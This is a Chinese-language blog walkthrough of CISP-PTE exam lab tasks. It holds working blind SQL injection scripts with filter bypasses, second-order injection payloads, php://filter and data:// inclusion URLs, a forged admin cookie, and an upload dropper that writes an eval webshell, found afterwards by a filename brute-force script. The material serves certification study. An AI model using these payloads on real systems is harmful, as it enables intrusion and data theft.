CISP-PTE真题演示
周末帮好兄弟做PTE的真题，觉得确实挺有意思的，于是就有了这篇文章，侵删侵删哈
第一阶段
基础题目一：SQL注入
所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。
开始答题
这道题的有趣的地方就是，你先注册用户，不同于以往的360的PTE真题，并不是以admin用户去发表文章就能看到key，按照往常的先注册一个用户吧
可以看见，此时提示的代码显示过滤掉“#”、“–”注释符号，我们先正常写一篇文章试试
可以看见，这是一条插入语句，该插入方式的特点就是，插入的字段必须与表字段个数相同，多一个少一个都不行。我们看一下字段显示是否是2/3段
没戳，是2/3段位显示的位数，按照往常的只要能把后面的东西注释掉，然后把select语句或者直接利用报错注入插进去就行了，问题就是–、#都给注释了，那么此时应该如何利用呢？
笨人采用笨方法—SQL时间盲注解题
可以看见，页面确实是延迟了2秒，本来想用布尔盲注的，因为我发现条件为真的时候，文章显示为1为假的时候显示为2，一般能用布尔盲注尽量不用时间盲注，因为时间盲注一旦哪次访问出现异常，例如页面响应慢了，网络延迟了，都会影响测试的结果。但是由于文章不会直接显示在当前页面，所以只能用时间盲注，
用的poc:
笔者一开始进入误区，想复杂了，写了一个盲注脚本，利用时间盲注进行注入查询
' or if ((ascii (mid(database(), 1,1))=32),sleep(2),1) or '
' or (if(ascii(mid((select table_name from information_schema.tables where table_schema like 0x32776562 limit 0,1),1,1))=1,1,sleep(2))) or '
' or (if(ascii(mid((select column_name from information_schema.columns where table_schema like 0x32776562 and table_name like 0x61727469636C6531 limit 0,1),1,1))=1,sleep(2),1)) or '
' or (if(ascii(mid((select group_concat(content) from (select * from article1 limit 0,5) as temp),1,1))=1,sleep(2),1)) or '
时间盲注的话，老夫写出了一些还算能用的脚本，脚本如下
import requests
import time
def database_len():
length = 0
database = ''
for l in range(1, 8):
startTime1 = time.time()
url = "http://ip:81/start/post.php"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;",
"X-Forwarded-For": "127.0.0.1"
}
data = ("title=' or if (((length(database()))=%d),sleep(2),1) or '&content=" %(l))
#print(data)
response = requests.post(url, data=data, headers=header, verify=False, timeout=10)
#print(response.text)
if time.time() - startTime1 > 1:
length += l
print("the length :", str(length))
#database_len()
def database_name():
s = []
for i in range(1, 5):
for j in range(32,127):
startTime1 = time.time()
url = "http://ip:81/start/post.php"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;",
"X-Forwarded-For": "127.0.0.1"
}
data = ("title=' or if ((ascii (mid(database(),%d,1))=%d),sleep(2),1) or '&content=" % (i,j))
#print(data)
response = requests.post(url, data=data, headers=header, verify=False, timeout=10)
if time.time() - startTime1 >= 1:
#print(j)
str = chr(int(j))
s.append(str)
break
print('database_name:', ''.join(s))
#database_name()
def table_name():
s = []
for i in range(0, 5):
for k in range (1, 10):
for j in range(32, 127):
startTime1 = time.time()
url = "http://ip:81/start/post.php"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;",
"X-Forwarded-For": "127.0.0.1"
}
data = (
"title=' or (if(ascii(mid((select table_name from information_schema.tables where table_schema like 0x32776562 limit %d,1),%d,1))=%d,sleep(2),1)) or '&content=" % (
i,k,j))
print(data)
response = requests.post(url, data=data, headers=header, verify=False, timeout=10)
if time.time() - startTime1 >= 1:
# print(j)
str = chr(int(j))
s.append(str)
break
print('table_name:', ''.join(s))
print('tables_name:', ''.join(s))
#table_name()
def table_name_1():
s = []
for i in range(0, 9):
for j in range(32, 127):
startTime1 = time.time()
url = "http://ip:81/start/post.php"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;",
"X-Forwarded-For": "127.0.0.1"
}
data = (
"title=' or (if(ascii(mid((select table_name from information_schema.tables where table_schema like 0x32776562 limit 0,1),%d,1))=%d,sleep(2),1)) or '&content=" % (
i, j))
print(data)
response = requests.post(url, data=data, headers=header, verify=False, timeout=10)
if time.time() - startTime1 >= 1:
# print(j)
str = chr(int(j))
s.append(str)
break
print('table_name:', ''.join(s))
#table_name_1()
def column_name():
s = []
for i in range(0, 9):
for j in range(32, 127):
startTime1 = time.time()
url = "http://ip:81/start/post.php"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;",
"X-Forwarded-For": "127.0.0.1"
}
data = (
"title=' or (if(ascii(mid((select column_name from information_schema.columns where table_schema like 0x32776562 and table_name like 0x61727469636C6531 limit 0,1),%d,1))=%d,sleep(2),1)) or '&content=" % (
i, j))
print(data)
response = requests.post(url, data=data, headers=header, verify=False, timeout=10)
if time.time() - startTime1 >= 1:
# print(j)
str = chr(int(j))
s.append(str)
break
print('column_name:', ''.join(s))
#column_name() #content
def key_name():
s = []
for i in range(0, 20):
for j in range(32, 127):
startTime1 = time.time()
url = "http://ip:81/start/post.php"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;",
"X-Forwarded-For": "127.0.0.1"
}
data = (
"title=' or (if(ascii(mid((select group_concat(content) from (select * from article1 limit 0,3) as temp),%d,1))=%d,sleep(2),1)) or '&content=" % (
i, j))
print(data)
response = requests.post(url, data=data, headers=header, verify=False, timeout=10)
if time.time() - startTime1 >= 1:
# print(j)
str = chr(int(j))
s.append(str)
break
print('column_name:', ''.join(s))
#key_name()
这里面写了两个table_name，建议使用第二个，因为第一个虽然会将所有的结果都一起显示出来，但是太慢了，第二个table_name_1还是比较快的，大家可以手动更改limit的字段还获取想要的东西，比较准确
该脚本分别探测，当前数据库库名长度、当前数据库库名、当前数据库表表名，字段名以及详细的字段内容，此时已将所有的方法都给注释掉了，用哪个把那个注释删除即可，此处以最后的key内容为例
我很郁闷，我不信写脚本。。。。。
正解如下：
注册两个用户，分别为 1234ewq 以及 */’1234ewq’);#
思路如下：
利用二次注入以及注入半闭合完成注入，先在*/’1234ewq’);#浏览器插入文章内容，poc依次如下
AAA',(select database()),/*
AAA',(select group_concat(table_name) from information_schema.tables where table_schema like 0x32776562),/*
AAA',(select group_concat(column_name) from information_schema.columns where table_schema like 0x32776562 and table_name like 0x61727469636C6531 ),/*
AAA',(select group_concat(content) from (select * from article1 limit 0,1)as a ),/*
分别爆出库、表以及字段；使用hex编码防止字符串报错
返回正常用户1234ewq
这里解答一下，利用/**/来注释多余的引号，致使我们插入的select语句能够显示出来，其次由于二次注入用户*/’1234ewq’);#最后插入至表中的用户名实际为 1234ewq 所以需要在正常用户去查看
让我们看一下效果吧
利用难度：
首先屏蔽注释符#、–,但是在注册的时候并没有屏蔽注释符，由于mysql特性，/**/里面的内容会被注释掉，且insert into 表名 value() 方法需要对字段一一填充，也就是说多一个字段不行，少一个字段也不行；且只有2/3字段才能显示出来，故先注册一个二次注入用户名，而后再插入语句中借助二次注入用户名进行特殊闭环，形成
insert article1 value(’’,‘AAA’,(select database()),/’,’’,’/ ‘1234ewq’);#’)
这样插入至数据库则会变成这样
insert article1 value(’’,‘AAA’,(select database()), ‘1234ewq’)
其次就是插入后进行字段查询，由于article1 表出现相同表名会导致数据库死循环，报错，故需要进行as别名，且若是不加入limit语句进行限制，则会无法导出任何内容，limit任意值皆可
错误的注入结果如下图
需进行重命名
基础题目三：文件包含
题目二不知道被哪个大哥搞乱码了
开始答题
本想着用伪协议直接读取文件的，但是他在后面会默认加一个txt，于是就用写入伪协议吧
http://ip/start/index.php?page=data:text/plain,#
本来想用读取伪协议的，但是很尴尬的是没成功
php://filter file:// 可以访问本地的文件
zip:// phar:// 可以访问本地压缩文件
php://input data: 可以自己写入php代码
基础题目四：反序列化漏洞
开始答题，出现代码
先简单的讲解一下php反序列化的形成原因
首先是php中的魔法函数如下
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
这些就是我们要关注的几个魔术方法了，如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话，就容易造成很严重的漏洞了。
此时代码里看不到方法或者是数组，这样的话反而简单很多；他只有一个unserialize()
unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化，并返回原始的对象结构
我们构造如下 vul.php?str=s:8:“CISP-PTE”;
基础题目五：失效的访问控制
开始答题
看题目就知道了，需要管理员用户访问，那么说白了就是伪造管理员身份权限，SSO越权？
二话不说，刷新浏览器，抓包
直接把false改成true；吧username字段改成admin对应的base64编码即可
第二阶段
基础题目一：SQL注入
开始答题，题目如下
这里就没有第一题难度大，但是墨迹程度丝毫不低于他。点击浏览该文章，同时进行抓包，看提示知道，'%") 不出意外闭合就是他了
好嘛，base64编码的，在我尝试使用常规注释之后，并没好使，而后使用poc如下
1'%" or 1=1 or "%'
啥也别说了，上脚本，写就完了，我觉得不应该是用脚本完成的，但是没想到其他的有效的方式
import requests
import base64
import time
def database_len():
length = 0
for l in range(1, 18):
url = "http://ip/start/"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"X-Forwarded-For": "127.0.0.1"
}
poc1="1'%\" or "
poc2="length(database())=%d " % l
poc3="or \"%'"
poc=poc1+poc2+poc3 #由于里面有太多的单引号、双引号，为了能格式化输出，只能给他们分开走
poc_1=poc.encode() #由于此时的类型是str，直接base64转码会报bytes错误，所以需要先转码
# 1'%" or length(database())=%d or "%' #使用的人能看懂的poc是这个
base64_encode=base64.b64encode(poc_1) #此时转码后的东西依然不能直接用，因为此时类型是bytes
base64_encode_1=base64_encode.decode() #将bytes再次转换成str类型，然后才能给data使用
data = ('id='+base64_encode_1)
print(data)
response = requests.post(url, data=data, headers=header, verify=False, timeout=10)
if "本文作者：Edward" in response.text and response.status_code == 200:
length += l
break
print("the length :", str(length))
#database_len() #调用此函数解开前面的井号即可
def database_name():
s = []
for i in range(1, 5):
for j in range(32,127):
url = "http://ip/start/"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"X-Forwarded-For": "127.0.0.1"
}
poc1 = "1'%\" or "
poc2 = "ascii(mid(database(),%d,1))=%d " % (i,j)
poc3 = "or \"%'"
poc = poc1 + poc2 + poc3 # 由于里面有太多的单引号、双引号，为了能格式化输出，只能给他们分开走
poc_1 = poc.encode() # 由于此时的类型是str，直接base64转码会报bytes错误，所以需要先转码
# 1'%" or ascii(mid(database(),1,1))=32 or "%' #使用的人能看懂的poc是这个
base64_encode = base64.b64encode(poc_1) # 此时转码后的东西依然不能直接用，因为此时类型是bytes
base64_encode_1 = base64_encode.decode() # 将bytes再次转换成str类型，然后才能给data使用
data = ('id=' + base64_encode_1)
print(data)
response = requests.post(url, data=data, headers=header, verify=False, timeout=10)
if "本文作者：Edward" in response.text and response.status_code == 200:
str = chr(int(j))
s.append(str)
#print(str)
#time.sleep(2)
break
print('database_name:', ''.join(s))
#database_name() #这个没啥用，写着玩的uinf
def table_name():
s = []
for i in range(0, 9):
for j in range(32, 127):
url = "http://ip/start/"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"X-Forwarded-For": "127.0.0.1"
}
poc1 = "1'%\" or "
poc2 = "ascii(mid((select table_name from information_schema.tables where table_schema like database() limit 0,1),%d,1))=%d " % (i, j)
poc3 = "or \"%'"
poc = poc1 + poc2 + poc3 # 由于里面有太多的单引号、双引号，为了能格式化输出，只能给他们分开走
poc_1 = poc.encode() # 由于此时的类型是str，直接base64转码会报bytes错误，所以需要先转码
# ascii(mid((select table_name from information_schema.tables where table_schema like 0x32776562 limit 0,1),%d,1))=%d #使用的人能看懂的poc是这个
base64_encode = base64.b64encode(poc_1) # 此时转码后的东西依然不能直接用，因为此时类型是bytes
base64_encode_1 = base64_encode.decode() # 将bytes再次转换成str类型，然后才能给data使用
data = ('id=' + base64_encode_1)
print(data)
response = requests.post(url, data=data, headers=header, verify=False, timeout=10)
if "本文作者：Edward" in response.text and response.status_code == 200:
str = chr(int(j))
s.append(str)
# print(str)
# time.sleep(2)
break
print('table_name:', ''.join(s))
#table_name() #article
def column_name():
s = []
for i in range(0, 9):
for j in range(32, 127):
url = "http://ip/start/"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"X-Forwarded-For": "127.0.0.1"
}
poc1 = "1'%\" or "
poc2 = "ascii(mid((select column_name from information_schema.columns where table_schema like database() && table_name like 0x61727469636C65 limit 4,1),%d,1))=%d " % (
i, j)
poc3 = "or \"%'"
poc = poc1 + poc2 + poc3 # 由于里面有太多的单引号、双引号，为了能格式化输出，只能给他们分开走
poc_1 = poc.encode() # 由于此时的类型是str，直接base64转码会报bytes错误，所以需要先转码
# ascii(mid((select column_name from information_schema.columns where table_schema like database() and table_name like 0x61727469636C6531 limit 1,1),%d,1))=%d #使用的人能看懂的poc是这个
base64_encode = base64.b64encode(poc_1) # 此时转码后的东西依然不能直接用，因为此时类型是bytes
base64_encode_1 = base64_encode.decode() # 将bytes再次转换成str类型，然后才能给data使用
data = ('id=' + base64_encode_1)
#print(data)
response = requests.post(url, data=data, headers=header, verify=False, timeout=10)
if "本文作者：Edward" in response.text and response.status_code == 200:
str = chr(int(j))
s.append(str)
# print(str)
print(poc)
time.sleep(2)
break
print('column_name:', ''.join(s))
#column_name() #title author content id key
def key_name():
s = []
for i in range(0, 20):
for j in range(32, 127):
url = "http://ip/start/"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"X-Forwarded-For": "127.0.0.1"
}
poc1 = "1'%\" or "
poc2 = "ascii(mid((select group_concat(`key`) from article),%d,1))=%d " % (i, j)
poc3 = "or \"%'"
poc = poc1 + poc2 + poc3 # 由于里面有太多的单引号、双引号，为了能格式化输出，只能给他们分开走
#print(poc)
poc_1 = poc.encode() # 由于此时的类型是str，直接base64转码会报bytes错误，所以需要先转码
base64_encode = base64.b64encode(poc_1) # 此时转码后的东西依然不能直接用，因为此时类型是bytes
base64_encode_1 = base64_encode.decode() # 将bytes再次转换成str类型，然后才能给data使用
data = ('id=' + base64_encode_1)
# print(data)
response = requests.post(url, data=data, headers=header, verify=False, timeout=10)
if "本文作者：Edward" in response.text and response.status_code == 200:
str = chr(int(j))
s.append(str)
# print(str)
print(poc)
time.sleep(2)
break
print('column_name:', ''.join(s))
key_name()
使用方式不再赘述，结果如下
难点如下：
poc不能出现and，否则就报错，但是爆字段不得不出现and，使用&&绕过
poc不能出现key字段，但是查key内容不出现不行，使用反单引号绕过，这里打不了。。。
基础题目二：文件上传突破
开始答题
没啥玩意，上传文件之后会识别文件的名字，然后文件的名字+随机值进行md5取值，后缀就是后缀这没啥可说的
思路就是想办法去截断随机值，但是做不到
第二个方法就是，直接上传一个1.php的小马而后去暴力撞库，但是几率只有十万分之一，这特吗撞大运？
我推荐，上传1.php 直接上传200次，而后撞库，运气好头200个就能撞倒
说整就整
上传成功的 截图就不截了，直接使用脚本撞库
撞大运，很快就撞到了第一个，这里我要说一下，上传图片马不是哪个都能成，他识别你图片马的内容，若是发现了eval函数就会上传失败，所以第一次我用的是base64转码
可是当我访问的时候，乱码了，虽然phpinfo()好使，那是因为phpinfo我没转码
一团糟
换位思考，转变策略，利用文件读写进行写入
上传文件内容如下
<?php
$fn = fopen("php.php","w+");
$st=base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7cGhwaW5mbygpOz8+");
$result = fwrite($fn,$st);
fclose($fn);
?>
依然按照我说的来，先上传xx.php200次，而后进行撞库，成功得到访问地址
此时的地址已经不重要了，不需要再去访问，因为我们要拿的文件其实和他已经无关，只要他被撞倒了就相当于访问过了，那么就会执行我们的写入手法，我们直接访问php.php即可
蚁剑连接成功，就是速度慢了点
撞库脚本如下
import requests
import hashlib
def upload():
for l in range(1, 99999):
str_1 = str(l)
poc = "11.php%d" % l
#print(poc)
encode_md5 = poc.encode() # 把字符串转为字节类型
md5_str_1 = hashlib.md5(encode_md5)
md5_str = md5_str_1.hexdigest()
print("这是第"+str_1+"次"+md5_str)
# print('加密后：', md5_str_1)
# print('字符串加密后的值：', md5_str_1.hexdigest())
url = "http://ip/"+md5_str+".php"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"X-Forwarded-For": "127.0.0.1"
}
response = requests.get(url, headers=header, verify=False, timeout=10)
if response.status_code == 200:
print(url)
break
upload()
基础题目三：文件包含
开始答题
http://ip/start/index.php?page=php://filter/read=convert.base64-encode/resource=../key.php
如果想要读取运行php文件的源码，可以先base64编码，再传入include函数，这样就不会被认为是php文件，不会执行，会输出文件的base64编码，再解码即可。
